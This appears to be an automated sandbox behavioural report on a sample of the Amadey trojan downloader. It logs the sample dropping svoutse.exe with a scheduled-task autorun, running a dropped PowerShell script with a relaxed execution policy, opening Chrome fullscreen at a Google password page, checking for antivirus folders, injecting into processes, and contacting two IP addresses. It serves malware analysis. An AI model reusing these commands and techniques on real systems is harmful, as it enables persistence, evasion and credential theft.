NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a3e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a3f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04fa0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04fa1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 8, 2024, 9:46 p.m.	process_identifier: 2248 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04fa2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

An application raised an exception which may be indicative of an exploit crash (2 events)

Time & API	Arguments	Status	Return	Repeated
Application Crash	Process chrome.exe with pid 2360 crashed
__exception__ Oct. 8, 2024, 9:46 p.m.	stacktrace: 0xa80004 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 exception.instruction_r: ff 15 16 1f 09 00 ff 25 00 00 00 00 aa a4 fc 76 exception.instruction: call qword ptr [rip + 0x91f16] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa80004 registers.r14: 237759688 registers.r15: 82323792 registers.rcx: 1312 registers.rsi: 17302540 registers.r10: 0 registers.rbx: 237758944 registers.rsp: 237758664 registers.r11: 237762560 registers.r8: 2004779404 registers.r9: 0 registers.rdx: 1340 registers.r12: 237759304 registers.rbp: 237758800 registers.rdi: 72849344 registers.rax: 11010048 registers.r13: 81879168	1	0	0

Steals private information from local Internet browsers (19 events)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\ShaderCache\GPUCache\data_0
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Crashpad
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-670590B2-938.pma
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\CrashpadMetrics-spare.pma
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\CrashpadMetrics-active.pma
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\BrowserMetrics
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\ShaderCache\GPUCache\data_2
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\ShaderCache\GPUCache
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\First Run
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\CrashpadMetrics.pma
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Crashpad\reports
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Crashpad\metadata
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\ShaderCache\GPUCache\index
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\ShaderCache\GPUCache\data_1
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\BrowserMetrics-spare.pma
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\ShaderCache\GPUCache\data_3

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\1000121041\to.ps1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\1000121041\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\test22\AppData\Local\Temp\1000121041\to.ps1"
cmdline	Powershell.exe -executionpolicy remotesigned -File "C:\Users\test22\AppData\Local\Temp\1000121041\to.ps1"

Drops a binary and executes it (1 event)

file	C:\Users\test22\AppData\Local\Temp\0e8d0864aa\svoutse.exe

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\0e8d0864aa\svoutse.exe

A process created a hidden window (2 events)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Oct. 8, 2024, 9:45 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\0e8d0864aa\svoutse.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\0e8d0864aa\svoutse.exe	1	1	0
ShellExecuteExW Oct. 8, 2024, 9:45 p.m.	show_type: 0 filepath_r: Powershell.exe parameters: -executionpolicy remotesigned -File "C:\Users\test22\AppData\Local\Temp\1000121041\to.ps1" filepath: Powershell.exe	1	1	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Oct. 8, 2024, 9:46 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Communicates with host for which no DNS query was performed (2 events)

host	185.215.113.103
host	31.41.244.10

Attempts to identify installed AV products by installation directory (7 events)

file	C:\ProgramData\AVAST Software
file	C:\ProgramData\Avira
file	C:\ProgramData\Kaspersky Lab
file	C:\ProgramData\Panda Security
file	C:\ProgramData\Bitdefender
file	C:\ProgramData\AVG
file	C:\ProgramData\Doctor Web

Installs itself for autorun at Windows startup (1 event)

file	C:\Windows\Tasks\svoutse.job

One or more non-whitelisted processes were created (4 events)

parent_process	powershell.exe	martian_process	"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --new-window https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
parent_process	powershell.exe	martian_process	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe --new-window https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
parent_process	chrome.exe	martian_process	"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1032,16742639630286440950,9435960428631630903,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=1040 /prefetch:2
parent_process	chrome.exe	martian_process	"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\test22\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\test22\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\test22\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xb0,0xb4,0xb8,0x84,0xbc,0x7fef3e96e00,0x7fef3e96e10,0x7fef3e96e20

Resumed a suspended thread in a remote process potentially indicative of process injection (22 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2408 resumed a thread in remote process 2360
NtResumeThread Oct. 8, 2024, 9:46 p.m.	thread_handle: 0x0000000000000118 suspend_count: 2 process_identifier: 2360	1	0	0
NtResumeThread Oct. 8, 2024, 9:46 p.m.	thread_handle: 0x0000000000000118 suspend_count: 2 process_identifier: 2360	1	0	0
NtResumeThread Oct. 8, 2024, 9:46 p.m.	thread_handle: 0x0000000000000118 suspend_count: 2 process_identifier: 2360	1	0	0
NtResumeThread Oct. 8, 2024, 9:46 p.m.	thread_handle: 0x0000000000000118 suspend_count: 2 process_identifier: 2360	1	0	0
NtResumeThread Oct. 8, 2024, 9:46 p.m.	thread_handle: 0x0000000000000118 suspend_count: 2 process_identifier: 2360	1	0	0
NtResumeThread Oct. 8, 2024, 9:46 p.m.	thread_handle: 0x0000000000000118 suspend_count: 2 process_identifier: 2360	1	0	0
NtResumeThread Oct. 8, 2024, 9:46 p.m.	thread_handle: 0x0000000000000118 suspend_count: 2 process_identifier: 2360	1	0	0
NtResumeThread Oct. 8, 2024, 9:46 p.m.	thread_handle: 0x0000000000000118 suspend_count: 2 process_identifier: 2360	1	0	0
NtResumeThread Oct. 8, 2024, 9:46 p.m.	thread_handle: 0x0000000000000118 suspend_count: 2 process_identifier: 2360	1	0	0
NtResumeThread Oct. 8, 2024, 9:46 p.m.	thread_handle: 0x0000000000000118 suspend_count: 2 process_identifier: 2360	1	0	0
NtResumeThread Oct. 8, 2024, 9:46 p.m.	thread_handle: 0x0000000000000118 suspend_count: 2 process_identifier: 2360	1	0	0
NtResumeThread Oct. 8, 2024, 9:46 p.m.	thread_handle: 0x0000000000000118 suspend_count: 2 process_identifier: 2360	1	0	0
NtResumeThread Oct. 8, 2024, 9:46 p.m.	thread_handle: 0x0000000000000118 suspend_count: 2 process_identifier: 2360	1	0	0
NtResumeThread Oct. 8, 2024, 9:46 p.m.	thread_handle: 0x0000000000000118 suspend_count: 2 process_identifier: 2360	1	0	0
NtResumeThread Oct. 8, 2024, 9:46 p.m.	thread_handle: 0x0000000000000118 suspend_count: 2 process_identifier: 2360	1	0	0
NtResumeThread Oct. 8, 2024, 9:46 p.m.	thread_handle: 0x0000000000000118 suspend_count: 2 process_identifier: 2360	1	0	0
NtResumeThread Oct. 8, 2024, 9:46 p.m.	thread_handle: 0x0000000000000118 suspend_count: 2 process_identifier: 2360	1	0	0
NtResumeThread Oct. 8, 2024, 9:46 p.m.	thread_handle: 0x0000000000000118 suspend_count: 2 process_identifier: 2360	1	0	0
NtResumeThread Oct. 8, 2024, 9:46 p.m.	thread_handle: 0x0000000000000118 suspend_count: 2 process_identifier: 2360	1	0	0
NtResumeThread Oct. 8, 2024, 9:46 p.m.	thread_handle: 0x0000000000000118 suspend_count: 2 process_identifier: 2360	1	0	0
NtResumeThread Oct. 8, 2024, 9:46 p.m.	thread_handle: 0x0000000000000118 suspend_count: 2 process_identifier: 2360	1	0	0

File has been identified by 60 AntiVirus engines on VirusTotal as malicious (50 out of 60 events)

Bkav	W32.AIDetectMalware
Lionic	Trojan.Win32.Amadey.a!c
Cynet	Malicious (score: 100)
CTX	exe.trojan.amadey
CAT-QuickHeal	Trojan.IGENERIC
Skyhigh	BehavesLike.Win32.Downloader.gh
ALYac	Gen:Variant.Doina.48214
Cylance	Unsafe
VIPRE	Gen:Variant.Doina.48214
CrowdStrike	win/malicious_confidence_70% (D)
Alibaba	TrojanDownloader:Win32/Amadey.4d64fe6c
K7GW	Trojan-Downloader ( 0057994f1 )
K7AntiVirus	Trojan-Downloader ( 0057994f1 )
Arcabit	Trojan.Doina.DBC56
Baidu	Win32.Trojan.Delf.in
VirIT	Trojan.Win32.Genus.WLX
Symantec	Trojan Horse
Elastic	Windows.Generic.Threat
ESET-NOD32	a variant of Win32/TrojanDownloader.Amadey.A
APEX	Malicious
Paloalto	generic.ml
ClamAV	Win.Malware.Generic-10033391-0
Kaspersky	HEUR:Trojan-Downloader.Win32.Deyma.gen
BitDefender	Gen:Variant.Doina.48214
NANO-Antivirus	Trojan.Win32.Amadey.krxpcu
MicroWorld-eScan	Gen:Variant.Doina.48214
Rising	Downloader.Amadey!8.125AC (TFE:5:A7xxVNTwwuE)
Emsisoft	Gen:Variant.Doina.48214 (B)
F-Secure	Heuristic.HEUR/AGEN.1375090
DrWeb	Trojan.MulDrop28.6397
Zillya	Downloader.Amadey.Win32.448
TrendMicro	TROJ_GEN.R002C0DIT24
McAfeeD	Real Protect-LS!934310F71970
Trapmine	malicious.high.ml.score
Sophos	Mal/Generic-S
SentinelOne	Static AI - Malicious PE
FireEye	Generic.mg.934310f719707bec
Jiangmin	TrojanDownloader.Deyma.ayp
Webroot	W32.Dropper.Gen
Avira	HEUR/AGEN.1375090
Kingsoft	malware.kb.a.980
Gridinsoft	Trojan.Win32.Downloader.sa
Microsoft	Trojan:Win32/Amadey.KAB!MTB
ViRobot	Trojan.Win.Z.Amadey.425984.C
ZoneAlarm	HEUR:Trojan-Downloader.Win32.Deyma.gen
GData	Gen:Variant.Doina.48214
Varist	W32/Agent.HSX.gen!Eldorado
AhnLab-V3	Trojan/Win.Generic.R659224
VBA32	BScope.TrojanDownloader.Deyma
DeepInstinct	MALICIOUS

am10.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All